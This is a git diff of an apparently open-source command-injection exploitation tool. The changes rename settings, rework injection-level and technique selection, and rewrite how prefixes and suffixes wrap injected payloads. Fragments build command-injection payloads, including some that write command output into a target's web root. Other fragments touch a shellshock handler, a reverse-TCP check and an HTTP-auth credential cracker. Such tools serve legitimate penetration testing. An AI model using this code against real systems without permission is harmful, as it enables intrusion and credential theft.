execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injecto + from src.core.injections.results_based.techniques.eval_based import eb_injector as injection # Command execution results. start = time.time() response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) @@ -77,10 +77,9 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6): check_established_connection() - else: - if settings.VERBOSITY_LEVEL == 1: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - + # else: + # if settings.VERBOSITY_LEVEL == 1: + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index f29a3c7cfd..a79fade871 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -175,7 +175,7 @@ def cmd_execution(separator, TAG, cmd): separator + "echo '" + TAG + "'`)%3B" ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index b2d87a43a0..a705755b7e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -85,7 +85,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): "\"') do @set /p = %i " + settings.CMD_NUL ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd payload = (separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + separator diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 5814e16373..b46ceb3806 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -211,7 +211,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + diff --git a/src/core/main.py b/src/core/main.py index c12e8f2b9b..b6039f29e9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -64,7 +64,7 @@ """ Define HTTP User-Agent header. """ -def defined_http_headers(): +def defined_http_headers(url): def extra_headers(): if any((menu.options.header, menu.options.headers)): settings.EXTRA_HTTP_HEADERS = True @@ -77,12 +77,17 @@ def cookie(): debug_msg = "Setting the HTTP " + settings.COOKIE + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - def referer(): + def referer(url): + if menu.options.referer is None: + if menu.options.level and int(menu.options.level) == settings.HTTP_HEADER_INJECTION_LEVEL: + menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) if menu.options.referer and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.REFERER + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - def host(): + def host(url): + if menu.options.host is None: + menu.options.host = _urllib.parse.urlparse(url).netloc if menu.options.host and settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP " + settings.HOST + " header." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -124,8 +129,8 @@ def user_agent(): extra_headers() cookie() - referer() - host() + referer(url) + host(url) user_agent() @@ -194,7 +199,7 @@ def init_request(url, http_request_method): if menu.options.timeout: settings.TIMEOUT = menu.options.timeout # Define HTTP headers - defined_http_headers() + defined_http_headers(url) # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) @@ -243,15 +248,15 @@ def url_response(url, http_request_method): if redirect_url is not None: url = redirect_url if not menu.options.skip_waf: + settings.COOKIE_INJECTION = None settings.WAF_DETECTION_PHASE = True waf_request, waf_url = checks.check_waf(url, http_request_method) - headers.do_check(waf_request) examine_request(waf_request, waf_url) settings.WAF_DETECTION_PHASE = False return response, url """ -Injection states initiation. +Initializing injection status. """ def init_injection(url): if settings.VERBOSITY_LEVEL != 0: @@ -337,13 +342,24 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True + if menu.options.flush_session: + session_handler.flush(url) + url = check_value_inside_boundaries(url, http_request_method) - # if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: - # settings.CUSTOM_INJECTION_MARKER = False + if menu.options.level: + settings.INJECTION_LEVEL = int(menu.options.level) + else: + settings.INJECTION_LEVEL = settings.DEFAULT_INJECTION_LEVEL + + if menu.options.level and settings.INJECTION_LEVEL >= settings.DEFAULT_INJECTION_LEVEL: + settings.USER_APPLIED_LEVEL = settings.INJECTION_LEVEL + + if not settings.USER_APPLIED_LEVEL : + settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL = session_handler.applied_levels(url, http_request_method) # Define the level of tests to perform. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: + if settings.INJECTION_LEVEL == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) @@ -351,7 +367,7 @@ def main(filename, url, http_request_method): settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL1), key=settings.EVAL_SEPARATORS_LVL1.index) settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL1), key=settings.EXECUTION_FUNCTIONS_LVL1.index) - elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: + elif settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) @@ -359,7 +375,7 @@ def main(filename, url, http_request_method): settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) settings.EVAL_SEPARATORS = sorted(set(settings.EVAL_SEPARATORS_LVL2), key=settings.EVAL_SEPARATORS_LVL2.index) settings.EXECUTION_FUNCTIONS = sorted(set(settings.EXECUTION_FUNCTIONS_LVL2), key=settings.EXECUTION_FUNCTIONS_LVL2.index) - elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: + elif settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) @@ -381,7 +397,7 @@ def main(filename, url, http_request_method): err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit() if menu.options.ignore_session: # Ignore session @@ -394,36 +410,26 @@ def main(filename, url, http_request_method): if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel - if not menu.options.ignore_session and not menu.options.flush_session: - if session_handler.applied_techniques(url, http_request_method): - if not menu.options.tech: - menu.options.tech = session_handler.applied_techniques(url, http_request_method) - else: - settings.USER_SUPPLIED_TECHNIQUE = True - else: - menu.options.tech = list(menu.options.tech.lower()) - _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))} - try: - menu.options.tech.sort(key=lambda x:_[x]) - except KeyError: - pass - menu.options.tech = ''.join(menu.options.tech) + if menu.options.tech and settings.USER_APPLIED_TECHNIQUE != None: + settings.USER_APPLIED_TECHNIQUE = True else: - if not menu.options.tech: - menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + settings.USER_APPLIED_TECHNIQUE = None + if len(session_handler.applied_techniques(url, http_request_method)) != 0: + settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) + menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES else: - settings.USER_SUPPLIED_TECHNIQUE = True + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) # Check for skipping injection techniques. if menu.options.skip_tech: # Convert injection technique(s) to lowercase menu.options.skip_tech = menu.options.skip_tech.lower() settings.SKIP_TECHNIQUES = True - if settings.USER_SUPPLIED_TECHNIQUE: + if settings.USER_APPLIED_TECHNIQUE: err_msg = "The options '--technique' and '--skip-technique' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit() else: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: @@ -432,7 +438,7 @@ def main(filename, url, http_request_method): if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit + raise SystemExit() # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: @@ -467,11 +473,6 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if not menu.options.tech: - menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - else: - settings.USER_SUPPLIED_TECHNIQUE = True - # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: @@ -493,13 +494,12 @@ def main(filename, url, http_request_method): else: username = "" password = menu.options.auth_cred - session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ - admin_panel=url, username=username, \ - password=password - ) + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ + admin_panel=url, username=username, \ + password=password + ) try: - if menu.options.flush_session: - session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) # Check if defined "--file-upload" option. @@ -543,7 +543,7 @@ def main(filename, url, http_request_method): pass # Load tamper scripts if menu.options.tamper: - settings.USER_SUPPLIED_TAMPER = menu.options.tamper + settings.USER_APPLIED_TAMPER = menu.options.tamper checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: @@ -793,11 +793,11 @@ def main(filename, url, http_request_method): while True: message = "Enter injection level (--level) [1-3, Default: 1] > " if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.print_message(message + str(menu.options.level))) + settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL))) break try: - menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) - if menu.options.level > int(settings.HTTP_HEADER_INJECTION_LEVEL): + settings.INJECTION_LEVEL = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if settings.INJECTION_LEVEL > int(settings.HTTP_HEADER_INJECTION_LEVEL): pass else: break @@ -856,9 +856,6 @@ def main(filename, url, http_request_method): # Check provided parameters for tests checks.check_provided_parameters() - if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: - settings.USER_SUPPLIED_LEVEL = menu.options.level - # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: settings.METASPLOIT_PATH = menu.options.msf_path @@ -915,13 +912,13 @@ def main(filename, url, http_request_method): if not os.path.exists(bulkfile): err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + elif os.stat(bulkfile).st_size == 0: err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + else: settings.MULTI_TARGETS = True with open(menu.options.bulkfile) as f: @@ -1019,8 +1016,9 @@ def main(filename, url, http_request_method): if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level - if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: - menu.options.level = 1 + if settings.INJECTION_LEVEL > settings.HTTP_HEADER_INJECTION_LEVEL: + settings.INJECTION_LEVEL = 1 + menu.options.url = url init_injection(url) try: response, url = url_response(url, http_request_method) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 71113c0735..c7b3fd67e7 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -440,9 +440,6 @@ def shellshock_handler(url, http_request_method, filename): break if go_back and go_back_again: return True - # else: - # logs.logs_notification(filename) - # return True else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 2336a18190..33d57107bd 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -176,9 +176,6 @@ def http_auth_cracker(url, realm, http_request_method): if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: proxy.use_proxy(request) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - # Store valid results to session - admin_panel = url - session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password) found = True except KeyboardInterrupt : raise @@ -200,11 +197,12 @@ def http_auth_cracker(url, realm, http_request_method): settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg)) if found: + if not settings.LOAD_SESSION: + session_handler.import_valid_credentials(url, authentication_type, url, username, password) valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Identified a valid pair of HTTP authentication credentials: '" - info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." + info_msg = "Identified a valid pair of credentials: '" + valid_pair + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) return valid_pair diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index dc08d23916..f93cd7255a 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -166,7 +166,7 @@ def https_open(self, req): if settings.MULTI_TARGETS: if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: settings.MULTI_ENCODED_PAYLOAD = [] - menu.options.tamper = settings.USER_SUPPLIED_TAMPER + menu.options.tamper = settings.USER_APPLIED_TAMPER try: response = opener.open(request, timeout=settings.TIMEOUT) _ = True @@ -269,20 +269,20 @@ def https_open(self, req): def do_check(request): # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == None: - request.add_header(settings.COOKIE, menu.options.cookie) + if menu.options.cookie and not settings.COOKIE_INJECTION: + request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) # Check if defined any User-Agent HTTP header. - if menu.options.agent and settings.USER_AGENT_INJECTION == None: - request.add_header(settings.USER_AGENT, menu.options.agent) + if menu.options.agent and not settings.USER_AGENT_INJECTION: + request.add_header(settings.USER_AGENT, checks.remove_tags(menu.options.agent)) # Check if defined any Referer HTTP header. - if menu.options.referer and settings.REFERER_INJECTION == None: - request.add_header(settings.REFERER, menu.options.referer) + if menu.options.referer and not settings.REFERER_INJECTION: + request.add_header(settings.REFERER, checks.remove_tags(menu.options.referer)) # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == None: - request.add_header(settings.HOST, menu.options.host) + if menu.options.host and not settings.HOST_INJECTION: + request.add_header(settings.HOST, checks.remove_tags(menu.options.host)) if not checks.get_header(request.headers, settings.ACCEPT): request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) @@ -396,7 +396,8 @@ def do_check(request): if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: if not settings.CUSTOM_HEADER_INJECTION: if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: - settings.CUSTOM_INJECTION_MARKER = True + settings.CUSTOM_HEADER_CHECK = http_header_name + # settings.CUSTOM_INJECTION_MARKER = True if http_header_name in settings.TESTABLE_PARAMETERS_LIST or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True @@ -404,10 +405,11 @@ def do_check(request): if len(http_header_name) != 0 and \ http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(http_header_name) if http_header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) - http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") + http_header_value = checks.remove_tags(http_header_value) request.add_header(http_header_name, http_header_value) - + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: request.add_header(http_header_name, http_header_value) except: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 50a56b6b20..cb0b594c22 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -48,7 +48,7 @@ def multi_params_get_value(parameter): return value if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM: - return False + return False if settings.USER_DEFINED_POST_DATA: if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: @@ -63,16 +63,13 @@ def multi_params_get_value(parameter): settings.USER_DEFINED_URL_DATA = False if settings.INJECT_TAG not in url and not menu.options.shellshock: if len(settings.TESTABLE_PARAMETERS_LIST) != 0 or \ - menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ - menu.options.level == settings.COOKIE_INJECTION_LEVEL or \ + len(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) != 0 or \ + settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or \ + (settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL and menu.options.cookie) or \ settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False else: - err_msg = "No parameter(s) found for testing in the provided data. " - if not menu.options.crawldepth: - err_msg += "You are advised to rerun with '--crawl=2'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.no_parameters_found() elif menu.options.shellshock: return False return [url] @@ -93,9 +90,10 @@ def multi_params_get_value(parameter): except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): + if len([s for s in multi_parameters if "=" in s]) == 0: + checks.no_parameters_found() # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method): @@ -197,7 +195,8 @@ def vuln_GET_param(url): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -320,11 +319,12 @@ def json_format(parameter): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ - not settings.IS_JSON and \ - not settings.IS_XML: - return "" + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ + # not settings.IS_JSON and \ + # not settings.IS_XML: + # return "" + if len([s for s in multi_parameters if "=" in s]) == 0 and not any((settings.IS_JSON, settings.IS_XML)): + checks.no_parameters_found() _ = [] _.append(parameter) @@ -464,6 +464,8 @@ def vuln_POST_param(parameter, url): if settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + # settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0] + # settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] # XML data format. elif settings.IS_XML: @@ -480,7 +482,8 @@ def vuln_POST_param(parameter, url): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] @@ -497,7 +500,8 @@ def vuln_POST_param(parameter, url): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") @@ -514,41 +518,76 @@ def vuln_POST_param(parameter, url): Define the injection prefixes. """ def prefixes(payload, prefix): - if settings.COOKIE_INJECTION == True: - specify_cookie_parameter(menu.options.cookie) - elif settings.USER_AGENT_INJECTION == True: - specify_user_agent_parameter(menu.options.agent) - elif settings.REFERER_INJECTION == True: - specify_referer_parameter(menu.options.referer) - elif settings.HOST_INJECTION == True: - specify_host_parameter(menu.options.host) - elif settings.CUSTOM_HEADER_INJECTION == True: - specify_host_parameter("") - - # Check if defined "--prefix" option. - testable_value = settings.TESTABLE_VALUE + parameter = "" + if settings.COOKIE_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.cookie + specify_cookie_parameter(parameter) + if settings.CUSTOM_HEADER_INJECTION: + specify_custom_header_parameter(parameter) + elif settings.USER_AGENT_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.agent + specify_user_agent_parameter(parameter) + elif settings.REFERER_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.referer + specify_referer_parameter(parameter) + elif settings.HOST_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.host + specify_host_parameter(parameter) + + _ = True + pre_custom = settings.TESTABLE_VALUE if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: - testable_value = "" - if menu.options.prefix: - payload = testable_value + menu.options.prefix + prefix + payload - else: - payload = testable_value + prefix + payload + pre_custom = settings.PRE_CUSTOM_INJECTION_MARKER_CHAR + elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + pre_custom = "" + _ = False + + if _: + if not pre_custom in prefix: + prefix = pre_custom + prefix + # Check if defined "--prefix" option. + if menu.options.prefix and not settings.LOAD_SESSION: + if not menu.options.prefix in prefix: + prefix = prefix + menu.options.prefix + + payload = prefix + payload + # Fixation for specific payload. + if ")%3B" + ")}" in payload: + payload = payload.replace(")%3B" + ")}", ")" + ")}") - return payload + return payload, prefix """ Define the injection suffixes. """ def suffixes(payload, suffix): - # Check if defined "--suffix" option. + if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER: suffix = "" - if menu.options.suffix: - payload = payload + suffix + menu.options.suffix - else: - payload = payload + suffix - return payload + _ = True + post_custom = "" + if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: + post_custom = settings.POST_CUSTOM_INJECTION_MARKER_CHAR + elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + post_custom = "" + _ = False + + if _: + if not post_custom in suffix: + suffix = suffix + post_custom + # Check if defined "--suffix" option. + if menu.options.suffix and not settings.LOAD_SESSION: + if not menu.options.suffix in suffix: + suffix = menu.options.suffix + suffix + + payload = payload + suffix + + return payload, suffix """ The cookie based injection. @@ -570,9 +609,10 @@ def multi_params_get_value(parameter): except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): + if len([s for s in multi_parameters if "=" in s]) == 0: + checks.no_parameters_found() _ = [] _.append(cookie) @@ -673,34 +713,54 @@ def specify_cookie_parameter(cookie): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") break else: vuln_parameter = cookie + return vuln_parameter """ The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG, "") + header_name = settings.USER_AGENT + settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if 